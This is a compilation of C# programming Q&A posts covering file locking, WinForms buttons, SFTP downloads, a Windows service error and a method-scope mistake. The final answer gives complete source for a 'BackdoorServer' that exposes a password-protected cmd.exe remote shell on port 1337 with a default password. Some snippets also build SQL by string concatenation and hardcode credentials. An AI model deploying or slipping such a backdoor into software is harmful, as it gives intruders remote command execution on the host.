Accessing a file by two processes - c#

There is a file in my application. I want to use this file to write data(which is coming from a machine connected on LAN) as well as for reading data from it and writing in a database. Therefore, I am placing a condition to check if the file is free.
This is my code:
static public bool IsFileFree(FileInfo file)
{
FileStream stream = null;
try
{
stream = file.Open(FileMode.Open, FileAccess.ReadWrite, FileShare.None);
}
catch (IOException)
{
return false;
}
finally
{
if (stream != null)
stream.Close();
}
return true;
}
static public void dataread()
{
FileInfo info = new FileInfo("C:\\Users\\cdac\\Desktop\\server\\server\\TextFile2.txt");
while (true)
{
if (IsFileFree(info) == true)
{
byte[] bytesFrom = new Byte[1000];
Program.socarray[0].Receive(bytesFrom);
char[] stuffed = System.Text.Encoding.UTF8.GetString(bytesFrom).ToCharArray();
char[] final;
final = stuffed.ToArray();
string foo = new string(final);
System.IO.File.WriteAllText(#"C:\Users\cdac\Desktop\server\server\TextFile2.txt", foo);
System.Threading.Thread.Sleep(10);
}
else
{
MessageBox.Show("File is already ", "My Application", MessageBoxButtons.OKCancel, MessageBoxIcon.Asterisk);
}
}
}
static public void datawrite()
{
FileInfo info = new FileInfo("C:\\Users\\cdac\\Desktop\\server\\server\\TextFile2.txt");
while (true)
{
if (IsFileFree(info) == true)
{
string MyConString = "server=localhost;" +
"database=cdac;" +
"User Id=root;" +
"password=cdac56;";
MySqlConnection connection = new MySqlConnection(MyConString);
MySqlCommand command = connection.CreateCommand();
MySqlDataReader Reader;
connection.Open();
// StreamReader reader = new StreamReader("C:\\tag_log_030610.txt");
StreamReader reader = new StreamReader("C:\\Users\\cdac\\Desktop\\server\\server\\TextFile2.txt");
string line;
while ((line = reader.ReadLine()) != null)
{
string[] parts = line.Split(';');
//command.CommandText = "insert into st_attn(rollno,Th_attn,Name) values('" + parts[0] + "','" + parts[1] + "','" + parts[2] + "')";
command.CommandText = "insert into st_attn(rollno,Name) values('" + parts[0] + "','" + parts[1] + "')";
Reader = command.ExecuteReader();
}
System.Threading.Thread.Sleep(10);
}
else
{
MessageBox.Show("File is already in use", "My Application",
MessageBoxButtons.OKCancel, MessageBoxIcon.Asterisk);
}
}
}
static void Main()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
int i=0;
TcpListener listener = new TcpListener(8888);
listener.Start();
while(true)
{
Socket soc = listener.AcceptSocket();
socarray[i] = soc;
i++;
if (i == NUMBEROFREADERS)
break;
}
Thread writetotextfile = new Thread(dataread);
writetotextfile.Start();
Thread writetodatabase = new Thread(datawrite);
writetodatabase.Start();
Application.Run(new Form1());
}
When i execute it, my application is not writing anything in textfile and the data which is already existing in this text file is being written in the database with every execution or this application.
I want my application to write data in the text file which is not being written by it currently. Moreover both the processes( one that is for writing data in text file and other for writing data in DB from text file) when make conflict i want to give preference to one which is writing data in text file and want the other process to wait till then. And as soon as data is written in text file and it is free, the data is to be written in database from text file.

Related

C# Update Table Button Not Working Automatically

I have some c# code and recently I added a button to the form designer which runs a simple update table query (update a SQL table). The table is updated as I would expect when I manually click the button in Debug mode, however when I run the entire program, it appears the method/button to update the SQL table is either ignored or simply not being picked up. As I mentioned, this works fine when I go into Debug and click on the button manually, however what I need it to do is run the method and click the button automatically as it is doing for the other methods. I have gone through this hundreds of times and am at the end of the road. Below is my code;
private void updateClosedModuleState()
{
System.Data.SqlClient.SqlConnection saConn = new System.Data.SqlClient.SqlConnection();
saConn.ConnectionString = GlobalDef.strSQLConnection;
//MessageBox.Show(saConn.ConnectionString);
try
{
saConn.Open();
SqlCommand command = saConn.CreateCommand();
command.CommandTimeout = saConn.ConnectionTimeout;
command.CommandType = System.Data.CommandType.Text;
command.CommandText = " UPDATE SATA_AllocationObject "
+ " SET State = REPLACE(State, 'A', 'I') "
+ " where AllocationObjectType = 4 "
+ " and Hostkey in (select hostkey from TRAN_UnitEClosedModules)";
command.ExecuteNonQuery();
}
catch (Exception act)
{
MessageBox.Show("Ooops! Error " + act.Message.ToString() + " when updating Module State");
}
finally
{
saConn.Close();
}
pictureBox19.Visible = true;
}
This is the code for the button click;
private void cmdUpdateClosedModuleState_Click(object sender, EventArgs e)
{
updateClosedModuleState();
}
Lastly, these are the method details in the form designer;
this.cmdUpdateClosedModuleState.Location = new System.Drawing.Point(517, 114);
this.cmdUpdateClosedModuleState.Name = "cmdUpdateClosedModuleState";
this.cmdUpdateClosedModuleState.Size = new System.Drawing.Size(107, 23);
this.cmdUpdateClosedModuleState.TabIndex = 41;
this.cmdUpdateClosedModuleState.Text = "UpdateModState";
this.cmdUpdateClosedModuleState.UseVisualStyleBackColor = true;
this.cmdUpdateClosedModuleState.Click += new System.EventHandler(this.cmdUpdateClosedModuleState_Click);
I have also tried to use a TableAdapter and use a Fill to update the SQL Table via the button, and that works...only when I click the button in Debug mode;
private void newupdate()
{
//throw new NotImplementedException();
this.sATA_AllocationObject1TableAdapter.Fill(this.moduleSignupTestDataSet.SATA_AllocationObject1);
}
I assigned a buttton to run the Fill on the TableAdapter;
private void newupdate_Click(object sender, EventArgs e)
{
//this.sATA_AllocationObject1TableAdapter.Fill(this.moduleSignupTestDataSet.SATA_AllocationObject1);
newupdate();
}
So in a nutshell, I need the program to run this method like it does with all the other ones without my intervention.
I have attached a photo of the form - when I click 'Run All' everything runs except for the UpdateClosedModState; [1]: https://i.stack.imgur.com/dJryA.png
The code behind the Run All command is;
private void cmdRunAll_Click(object sender, EventArgs e)
{
begin();
}
In the form designer we have;
this.cmdRunAll.Location = new System.Drawing.Point(381, 375);
this.cmdRunAll.Name = "cmdRunAll";
this.cmdRunAll.Size = new System.Drawing.Size(107, 21);
this.cmdRunAll.TabIndex = 10;
this.cmdRunAll.Text = "Run All";
this.cmdRunAll.UseVisualStyleBackColor = true;
this.cmdRunAll.Click += new System.EventHandler(this.cmdRunAll_Click);
And at the start of the form, we have this to begin running the app;
if (args.Length > 0)
{
lArgsExists = true;
// strDetails = strDetails + ": About to run app.";
// runApp(args[0], lArgsExists);
begin();
}
}
public void runApp(string cnfgPath, bool gui)
{
if (gui == true)
{
strDetails = strDetails + " Running app.";
begin();
}
else
{
textBox2.Text = GlobalDef.appStatus.ToString();
begin();
//MessageBox.Show("Opening form!");
}
}
public void begin()
{
String sqlServerLogin = GlobalDef.sqlServerlogin;
String password = GlobalDef.password;
String instanceName = GlobalDef.instanceName;
String remoteSvrName = GlobalDef.remoteSvrName;
string strNow = DateTime.Now.Day + "/" + DateTime.Now.Month + "/" + DateTime.Now.Year;
string strSQLConnection = GlobalDef.strSQLConnection;
textBox2.Text = GlobalDef.appStatus.ToString();
//string path = #"E:\Allocator\StudentAllocatorTest\logs\Error.log";
string path = GlobalDef.path;
// This text is added only once to the file.
if (!File.Exists(path))
{
// Create a file to write to.
using (StreamWriter sw = File.CreateText(path))
{
sw.WriteLine("Error details");
}
}
using (StreamWriter sw = File.AppendText(path))
{
sw.WriteLine();
sw.WriteLine("******************************************");
sw.WriteLine();
sw.WriteLine(strDetails.ToString());
sw.WriteLine("******************************************");
sw.WriteLine();
sw.WriteLine(DateTime.Now.ToString() + ": Starting load for " + GlobalDef.instanceName);
}
try
{
string connString = GlobalDef.connString;
OracleConnection oraCon = new OracleConnection(connString);
System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();
conn.ConnectionString =
"data source=" + remoteSvrName + ";" +
"persist security info=true;initial catalog=" + instanceName + ";User Id=" + sqlServerLogin + "; Password=" + password + ";";
// Clear transfer tables before running any subroutine
clearTransTables();
// Loads Department details into SA TransTables
updateDepartment(oraCon, strSQLConnection);
// Loads new POSA modules into SA TransTables
updatePOSA(oraCon, strSQLConnection, path);
// Loads new POSY modules into SA TransTables
updatePOSY(oraCon, strSQLConnection, path);
// Remove open option links for modules which do not have the timetable flag checked
RemoveUnneededOOCourses(oraCon, strSQLConnection, path);
// Loads top-level OO structure into SA TransTables
OpenOption(oraCon, strSQLConnection, path);
// Loads Dept level OO structure into SA TransTables
OptionByDept(oraCon, strSQLConnection, path);
// Links OOByDept Allocation Objects to OO Objects via TransTables
linkOOAndOOByDept(path);
// Loads new Course modules into SA TransTables
updateCourse(oraCon, strSQLConnection, path);
// Links OO courses to OOByDept AllocationObjects via TransTables
OpenOptionCourses(oraCon, strSQLConnection, path);
//Adds All Courses to various hidden groups via TransTables
updateAllHidden(oraCon, strSQLConnection, path);
// Loads new students into SA TransTables
//TransferStudent(oraCon, strSQLConnection);
// Loads prerequisite allocations into SA TransTables
UploadPrerequisites(oraCon, strSQLConnection);
//button1_Click();
// Loads Closed Modules from UnitE to TRAN_UnitEClosedModules
uploadUnitEClosedModules(oraCon, strSQLConnection);
//Runs the transfer service which loads the data in the TransTables into the database
runTransferservice(path);
///
newupdate();
// update Closed Modules to 'I' State
updateClosedModuleState();
// Used to create a structure for programmes which had yet to be set up by faculties
// DefaultCourseStructure(oraCon, strSQLConnection);
// Creates UNITe course enrolments and cancels changed course selections
uploadAllocationsToUNITe(oraCon, strSQLConnection, path);
// pictureBox11.Visible = true;
}
catch (Exception e)
{
MessageBox.Show(e.Message.ToString());
}
finally
{
using (StreamWriter sw = File.AppendText(path))
{
sw.WriteLine(DateTime.Now.ToString() + ": Completed load for " + GlobalDef.instanceName);
}
Application.Exit();
}
}
private void updateDepartment(OracleConnection oraCon, string strSQLConnection)
{
try
{
....and it goes on with the subroutines listed above.
Any help would be greatly appreciated.
Thank you in advance.

C # ListBox how to export a file with the name I pass from the listbox

**sorry for my english but i don't know very well in google translate i do translation.
I want from my listbox the file that I choose to be exported with the same name that it has in my listbox**
private void downloadFile(object sender, EventArgs e)
{
string ip = txt_ip.Text;
string user = txt_user.Text;
string pass = txt_pass.Text;
//string pathLocalFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "download_sftp_file.txt");
try
{
SftpClient client = new SftpClient(ip, user, pass);
client.Connect();
string rmDer = dr_finder.Text;
var files = client.ListDirectory(rmDer);
if (rmDer == "")
{
client.Connect();
string rmDerNow = "/";
var filesName = client.ListDirectory(rmDerNow);
foreach (var file in filesName)
{
DirList.Items.Add(file.Name);
string result = Path.GetFileNameWithoutExtension(file.Name);
DirList.Items.Add(System.IO.Path.GetFileName(file.Name));
}
MessageBox.Show("List Directory Success!");
}
string pachRemFile = DirList.SelectedItem.ToString();
string pachlocalFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop),"Server Ftp File.txt");
Stream Filestream = File.OpenWrite(pachlocalFile);
client.DownloadFile(pachRemFile,Filestream);
client.Disconnect();
}
catch (Exception error)
{
MessageBox.Show(error.Message);
}
}
this object is the solution I finally didn't find anyone to help me. so I helped myself.
and I thought he had good programmers on this site
SaveFileDialog savefile = new SaveFileDialog(); /* this here is my solution get a save as. */
if (savefile.ShowDialog() == DialogResult.OK)
{
string pachRemFile = DirList.SelectedItem.ToString();
Stream Filestream = File.Open(savefile.FileName, FileMode.CreateNew);
StreamWriter sw = new StreamWriter(Filestream);
client.DownloadFile(pachRemFile, Filestream);
client.Disconnect();
}

Windows service C# - Error 1064 on DB connection, Create XML from DB

I have a problem with Running the Windows Service. Service is connecting DB and through DataAdapter it creates local XML file. Then it transfer the file to the FTP server.
Get error 1064 when trying to start the service.
I checked and the error occurs when trying to create XML file from DB. I guese it's DB connection but don't know how to fix it.
When i run this code as Console app it works pretty well, no errors occures, but when i run it as windows service it is occuring :/ Maybe it is something with Connection string? or with Creating XML file throught DataAdapter? What's the difference here between Console App and windows service Connection to DB?
To check it, I commented out the part with connection to DB (CreateXML() method) and it works too, so FTP connection is not an issue.
I marked with comment the line of code which throw an error, it's located in the CreateXML() Method.
You have full code here
EDIT (solution):
If you have the same problem change Service to use your win account. Works without errors now.
using System;
using System.Data;
using System.Data.SqlClient;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.ServiceProcess;
using System.Timers;
namespace XMLShopService
{
public partial class XMLShopService : ServiceBase
{
Timer timer = new Timer();
//TIME MULTIPLIERS
private static int seconds = 1000; //miliseconds to SECONDS multiplier -- DON'T TOUCH --
private static int minutes = 60000; //miliseconds to MINUTES multiplier -- DON'T TOUCH --
private static int hours = 3600000; //miliseconds to HOURS multiplier -- DON'T TOUCH --
//TIME INTERVAL SETTINGS
private int timeInterval = 3; //SET HERE - time interval in (SECONDS or MINUTES or HOURS), then pick timeMultiplier below
private int timeMultiplier = minutes; //SET HERE - time format you would like to use in timer as interval (SECONDS or MINUTES or HOURS) pick one from above and implement after "="
public XMLShopService()
{
InitializeComponent();
}
protected override void OnStart(string[] args)
{
Debugger.Launch();
WriteToFile("START : " + DateTime.Now);
CreateXML();
FtpFileUpload();
//TIMER
timer.Elapsed += new ElapsedEventHandler(OnTimedEvent);
timer.Interval = timeInterval * timeMultiplier; // -- DON'T TOUCH -- Represent time interval in MILISECONDS
timer.Enabled = true;
}
protected override void OnStop()
{
WriteToFile("STOP : " + DateTime.Now);
}
//FUNCTIONS USED
private void OnTimedEvent(object sender, ElapsedEventArgs e)
{
WriteToFile("ReStart script at : " + DateTime.Now);
CreateXML();
FtpFileUpload();
WriteToFile("Script finished at : " + DateTime.Now);
}
private void CreateXML()
{
//XML file settings
string fileName = "file.xml"; //SET HERE - XML local file name
string localFilePath = #"path" + fileName; //SET HERE - XML local file path (full)
double priceMultiplier = 3; //SET HERE - price multiplier
//SQL Query - products codes & prices * multiplier
string queryString = "SELECT ItemCode, Price * " + priceMultiplier + " FROM database WHERE PriceList = 1 AND Price > 0";
//SQL connection string
SqlConnection conn = new SqlConnection();
conn.ConnectionString = #"Server=server;" + //SET HERE - SQL Server
"Initial Catalog=database;" + //SET HERE - Server database
"Integrated Security=true";
//Creating XML file in the specific location, overwriting old file
try
{
using (SqlCommand sqlComm = new SqlCommand(queryString, conn) { CommandType = CommandType.Text })
{
WriteToFile("SQL 1: " + DateTime.Now);
SqlDataAdapter da = new SqlDataAdapter(sqlComm);
WriteToFile("SQL 2: " + DateTime.Now);
DataSet ds = new DataSet();
da.Fill(ds); //!!!---THIS IS WHERE ERROR OCCURS---!!!
WriteToFile("SQL 3: " + DateTime.Now);
ds.Tables[0].WriteXml(localFilePath);
WriteToFile("SQL 4: " + DateTime.Now);
}
WriteToFile("DB connection ok: " + DateTime.Now);
}
catch (Exception)
{
WriteToFile("ERROR - create file: " + DateTime.Now);
throw;
}
}
private void FtpFileUpload()
{
string ftpUsername = "userName"; //SET HERE - FTP username
string ftpPassword = "pass"; //SET HERE - FTP Password
string ftpFolderPath = #"ftpServerPath/test/"; //SET HERE - FTP folder dir -- TODO: TEST FOLDER PATH TO CHANGE --
string fileName = "file.xml"; //SET HERE - XML local file name
string localFilePath = #"path" + fileName; //SET HERE - XML local file dir (full)
//DELETE old file
try
{
FtpWebRequest request = (FtpWebRequest)WebRequest.Create(ftpFolderPath + fileName);
request.Method = WebRequestMethods.Ftp.DeleteFile;
request.Credentials = new NetworkCredential(ftpUsername, ftpPassword);
using (FtpWebResponse response = (FtpWebResponse)request.GetResponse())
{
WriteToFile(response.StatusDescription + " " + DateTime.Now);
}
}
//Throw on errors
catch (Exception)
{
WriteToFile("ERROR - delete old file: " + DateTime.Now);
throw;
}
//UPLOAD UpToDate file
try
{
//Set request
FtpWebRequest request = (FtpWebRequest)WebRequest.Create(ftpFolderPath + fileName);
request.Method = WebRequestMethods.Ftp.UploadFile;
request.Credentials = new NetworkCredential(ftpUsername, ftpPassword);
request.UsePassive = true;
request.UseBinary = true;
request.KeepAlive = true;
//Load file
FileStream stream = File.OpenRead(localFilePath);
byte[] buffer = new byte[stream.Length];
stream.Read(buffer, 0, buffer.Length);
stream.Close();
//Upload file
Stream reqStream = request.GetRequestStream();
reqStream.Write(buffer, 0, buffer.Length);
reqStream.Close();
using (FtpWebResponse response = (FtpWebResponse)request.GetResponse())
{
WriteToFile(response.StatusDescription + " " + DateTime.Now);
}
request = null;
}
//Throw on errors
catch (Exception)
{
WriteToFile("ERROR - upload UpToDate file: " + DateTime.Now);
throw;
}
}
//SCRIPT LOGS
public void WriteToFile(string Message)
{
string path = AppDomain.CurrentDomain.BaseDirectory + "\\Logs";
if (!Directory.Exists(path))
{
Directory.CreateDirectory(path);
}
string filepath = AppDomain.CurrentDomain.BaseDirectory + "\\Logs\\ServiceLog.txt";
if (!File.Exists(filepath))
{
// Create a file to write to.
using (StreamWriter sw = File.CreateText(filepath))
{
sw.WriteLine(Message);
}
}
else
{
using (StreamWriter sw = File.AppendText(filepath))
{
sw.WriteLine(Message);
}
}
}
}
}

The function name does not exist in current context

The following Windows service code is trying to call the copyej() method, which will complete the required task, but when I am calling this function in my timer it throws out the following error :
The name copyej() does not exist in current context
Although it is defined in a public class not sure why it is having this issue, here's the complete code :
/** Using Config File for Directories **/
using System.Configuration;
//====Read From Access namespace===============
using System.Data.Common;
using System.Data.OleDb;
//using System.IO;
//=============================================
using System.ServiceModel;
using System.ServiceProcess;
using System.Configuration.Install;
namespace Microsoft.ServiceModel.Samples
{
// Define a service contract.
[ServiceContract(Namespace = "http://Microsoft.ServiceModel.Samples")]
public interface Copytask
{
[OperationContract]
void copyej();
}
public class CopyejService : Copytask
{
// Implement the Copy EJ methods.
// CopyejService copyej = new CopyejService();
public void copyej()
{
// Functionality Derivation
string target_dir_file = System.Configuration.ConfigurationSettings.AppSettings["TargetDir_File"];
string target_dir = System.Configuration.ConfigurationSettings.AppSettings["TargetDir"];
string text_dir = System.Configuration.ConfigurationSettings.AppSettings["TextDir"];
string file_name = System.Configuration.ConfigurationSettings.AppSettings["FileName"];
string source_dir_file = System.Configuration.ConfigurationSettings.AppSettings["SourceDir_File"];
// Check if Target Directory Exists
DirectoryInfo theFolder = new DirectoryInfo(target_dir);
if (!theFolder.Exists)
{
theFolder.Create();
}
/*
if (!File.Exists(target_dir_file))
{
// MessageBox.Show("Function Exited");
return;
}*/
// Delet if EJ file exists
if (File.Exists(target_dir_file))
{
File.Delete(target_dir_file);
}
// Copy the EJ file in Target Directory
File.Copy(source_dir_file, target_dir_file);
//=============Extract contents in Access and save it as Text File Format==========================================
string connectionString = #"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=C:\test\TestEJFolder\BWC_Ejournal.mdb";
OleDbConnection conn = new OleDbConnection(connectionString);
OleDbConnection conn1 = new OleDbConnection(connectionString);
OleDbConnection conn2 = new OleDbConnection(connectionString);
string sql = "SELECT * FROM Events";
string dt = "SELECT TOP 1 [Date] FROM Events";
string count = "SELECT COUNT(ID) FROM Events";
OleDbCommand cmd = new OleDbCommand(sql, conn);
conn.Open();
OleDbDataReader reader;
reader = cmd.ExecuteReader();
OleDbCommand cmd1 = new OleDbCommand(dt, conn1);
conn1.Open();
OleDbCommand cmd2 = new OleDbCommand(count, conn2);
conn2.Open();
string time_stmp = Convert.ToDateTime(cmd1.ExecuteScalar()).ToString("yyyyMMddhhmmss");
string s_path = text_dir + "\\" + time_stmp + "_" + "Session" + "_" + file_name;
FileInfo oFileInfo = new FileInfo(source_dir_file);
string fname = "File Name: \"" + oFileInfo.Name + "|" + " ";
string fsize = "File total Size: " + oFileInfo.Length.ToString() + "|" + " ";
string fdts = "Date and Time File Created: " + oFileInfo.CreationTime.ToString() + "|" + " ";
Int32 r_count = (Int32)cmd2.ExecuteScalar();
StreamWriter sp = File.CreateText(s_path);
sp.WriteLine(fname + fsize + fdts + "Record Count " + r_count);
sp.Close();
conn1.Close();
conn2.Close();
string path = text_dir + "\\" + time_stmp + "_" + file_name;
StreamWriter sw = File.CreateText(path);
const string format = "{0,-22} {1,-4} {2,-4} {3,-4} {4,-20} {5,-22}";
string line;
while (reader.Read())
{
line = string.Format(format, reader.GetDateTime(5).ToString(#"dd-MM-yyyy HH:mm:ss").Trim(),
reader.GetInt32(0).ToString().Trim(),
reader.GetInt32(1).ToString().Trim(),
reader.GetInt32(2).ToString().Trim(),
reader.GetString(3).ToString().Trim(),
reader.GetString(4).ToString().Trim());
sw.WriteLine(line);
}
reader.Close();
conn.Close();
sw.Close();
sw.Dispose();
//====End Of Extract Access contents and save it as Text Format=========================================================
}
}
public class CopyEJWindowsService : ServiceBase
{
public ServiceHost serviceHost = null;
public CopyEJWindowsService()
{
// Name the Windows Service
ServiceName = "CopyEJWindowsService";
}
public static void Main()
{
ServiceBase.Run(new CopyEJWindowsService());
}
private System.Timers.Timer serviceTimer = new System.Timers.Timer();
protected override void OnStart(string[] args)
{
InitTimer();
}
protected override void OnStop()
{
serviceTimer.Stop();
}
private void InitTimer()
{
serviceTimer.Start();
serviceTimer.Enabled = true;
serviceTimer.Interval = 5000;
serviceTimer.Elapsed += new ElapsedEventHandler(OnServiceTimerElapsed);
}
public void OnServiceTimerElapsed(object sender, ElapsedEventArgs args)
{
serviceTimer.Enabled = false;
try
{
copyej();
}
catch (Exception ex)
{
//Handle exception
}
finally
{
serviceTimer.Enabled = true;
}
}
}
// Start the Windows service.
/*
protected override void OnStart(string[] args)
{
if (serviceHost != null)
{
serviceHost.Close();
}
// Create a ServiceHost for the CopyEJService type and
// provide the base address.
serviceHost = new ServiceHost(typeof(CopyejService));
// Open the ServiceHostBase to create listeners and start
// listening for messages.
serviceHost.Open();
}
protected override void OnStop()
{
if (serviceHost != null)
{
serviceHost.Close();
serviceHost = null;
}
}
}*/
[RunInstaller(true)]
public class ProjectInstaller : Installer
{
private ServiceProcessInstaller process;
private ServiceInstaller service;
public ProjectInstaller()
{
process = new ServiceProcessInstaller();
process.Account = ServiceAccount.LocalSystem;
service = new ServiceInstaller();
service.ServiceName = "CopyEJWindowsService";
Installers.Add(process);
Installers.Add(service);
}
}
}
Copyej is in the class CopyejService.
So to call it, you should instantiate that class, and call it as a method.
CopyejService myObject = new CopyejService();
myObject.copyej();

Writing a program with remote shell functionality like netcat

I am interested in writing a program which can do something like netcats "nc -L -d -p -t -e cmd.exe" command. So it provides a remote shell that is. I have tried piping output and input from and to cmd.exe and sending and receiving it over a socket but it doesn't really seem to work well. Are there any other ways to do it? I am programming in C# by the way.
This is some test code I wrote to test if I could make my own "shell". The output of this is what should be sent over a socket. The program, however, halts when it becomes time to read the output. This is only remedied by using the .readline() method, but I dont know how to detect when it should not read anymore lines.
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.Start();
StreamReader sr = p.StandardOutput;
StreamWriter sw = p.StandardInput;
while (true)
{
Console.Write(">> ");
string cmd = Console.ReadLine();
sw.WriteLine(cmd);
var resp = sr.ReadLine();
Console.WriteLine(resp);
}
Thanks.
Not sure if you still care about this but this may help you:
This is a C# Remote Shell
/*****************************************************************
*
* Created By DT
*
* ***************************************************************/
using System;
using System.Diagnostics;
using System.Net;
using System.Net.Sockets;
using System.Threading;
using System.IO;
namespace BackdoorServer
{
public class Backdoor
{
private TcpListener listener; //ServerSocket object for listening
private Socket mainSocket; //Socket to handle client-server communication
private int port; //Port the server listens on
private String name; //The server name
private String password; //The server password
private bool verbose = true; //Displays messages in console if True
private Process shell; //The shell process
private StreamReader fromShell;
private StreamWriter toShell;
private StreamReader inStream;
private StreamWriter outStream;
private Thread shellThread; //So we can destroy the Thread when the client disconnects
private static int DEFAULT_PORT = 1337; //Default port to listen on if one isn't declared
private static String DEFAULT_NAME = "Server"; //Default name of server if one isn't declared
private static String DEFAULT_PASS = "password"; //Default server password if one isn't declared
public Backdoor()
{ //Use default settings
port = DEFAULT_PORT;
name = DEFAULT_NAME;
password = DEFAULT_PASS;
}
public Backdoor(int p)
{ //Define port only
port = p;
name = DEFAULT_NAME;
password = DEFAULT_PASS;
}
public Backdoor(int p, String n)
{ //Define port and server name
port = p;
name = n;
password = DEFAULT_PASS;
}
public Backdoor(int p, String n, String pass)
{ //Define port, server name, and password
port = p;
name = n;
password = pass;
}
public Backdoor(int p, String n, String pass, bool verb)
{ //Define port, server name, and password
port = p;
name = n;
password = pass;
verbose = verb;
}
////////////////////////////////////////////////////////////////////////
//the startServer method waits for a connection, checks the password,
//and either drops the client or starts a remote shell
////////////////////////////////////////////////////////////////////////
public void startServer() {
try {
if(verbose)
Console.WriteLine("Listening on port " + port);
//Create the ServerSocket
listener = new TcpListener(port);
listener.Start(); //Stop and wait for a connection
mainSocket = listener.AcceptSocket();
if(verbose)
Console.WriteLine("Client connected: " + mainSocket.RemoteEndPoint);
Stream s = new NetworkStream(mainSocket);
inStream = new StreamReader(s);
outStream = new StreamWriter(s);
outStream.AutoFlush = true;
String checkPass = inStream.ReadLine();
if(verbose)
Console.WriteLine("Client tried password " + checkPass);
if(!checkPass.Equals(password)) { //if the password is not correct
if(verbose)
Console.WriteLine("Incorrect Password");
badPass(); //Drop the client
return;
}
if(verbose)
Console.WriteLine("Password Accepted.");
shell = new Process();
ProcessStartInfo p = new ProcessStartInfo("cmd");
p.CreateNoWindow = true;
p.UseShellExecute = false;
p.RedirectStandardError = true;
p.RedirectStandardInput = true;
p.RedirectStandardOutput = true;
shell.StartInfo = p;
shell.Start();
toShell = shell.StandardInput;
fromShell = shell.StandardOutput;
toShell.AutoFlush = true;
shellThread = new Thread(new ThreadStart(getShellInput)); //Start a thread to read output from the shell
shellThread.Start();
outStream.WriteLine("Welcome to " + name + " backdoor server."); //Display a welcome message to the client
outStream.WriteLine("Starting shell...\n");
getInput(); //Prepare to monitor client input...
dropConnection(); //When getInput() is terminated the program will come back here
}
catch(Exception) { dropConnection(); }
}
//////////////////////////////////////////////////////////////////////////////////////////////
//The run method handles shell output in a seperate thread
//////////////////////////////////////////////////////////////////////////////////////////////
void getShellInput()
{
try
{
String tempBuf = "";
outStream.WriteLine("\r\n");
while ((tempBuf = fromShell.ReadLine()) != null)
{
outStream.WriteLine(tempBuf + "\r");
}
dropConnection();
}
catch (Exception) { /*dropConnection();*/ }
}
private void getInput() {
try {
String tempBuff = ""; //Prepare a string to hold client commands
while(((tempBuff = inStream.ReadLine()) != null)) { //While the buffer is not null
if(verbose)
Console.WriteLine("Received command: " + tempBuff);
handleCommand(tempBuff); //Handle the client's commands
}
}
catch(Exception) {}
}
private void handleCommand(String com) { //Here we can catch commands before they are sent
try { //to the shell, so we could write our own if we want
if(com.Equals("exit")) { //In this case I catch the 'exit' command and use it
outStream.WriteLine("\n\nClosing the shell and Dropping the connection...");
dropConnection(); //to drop the connection
}
toShell.WriteLine(com + "\r\n");
}
catch(Exception) { dropConnection(); }
}
////////////////////////////////////////////////////////////////////
//The drop connection method closes all connections and
//resets the objects to their null states to be created again
//I don't know if this is the best way to do it but it seems to
//work without issue.
////////////////////////////////////////////////////////////////////
private void badPass()
{
inStream.Dispose();
outStream.Dispose();
mainSocket.Close();
listener.Stop();
return;
}
private void dropConnection() {
try {
if(verbose)
Console.WriteLine("Dropping Connection");
shell.Close();
shell.Dispose();
shellThread.Abort();
shellThread = null;
inStream.Dispose(); //Close everything...
outStream.Dispose();
toShell.Dispose();
fromShell.Dispose();
shell.Dispose();
mainSocket.Close();
listener.Stop();
return;
}
catch(Exception) {}
}
static void Main(string[] args)
{
try {
Backdoor bd = new Backdoor();
if (args.Length == 1)
bd = new Backdoor(int.Parse(args[0]));
if (args.Length == 2)
bd = new Backdoor(int.Parse(args[0]), args[1]);
if (args.Length == 3)
bd = new Backdoor(int.Parse(args[0]), args[1], args[2]);
else if (args.Length == 4)
bd = new Backdoor(int.Parse(args[0]), args[1], args[2], bool.Parse(args[3]));
while (true)
{
bd.startServer();
}
}
catch(Exception) {}
}
}
}

Categories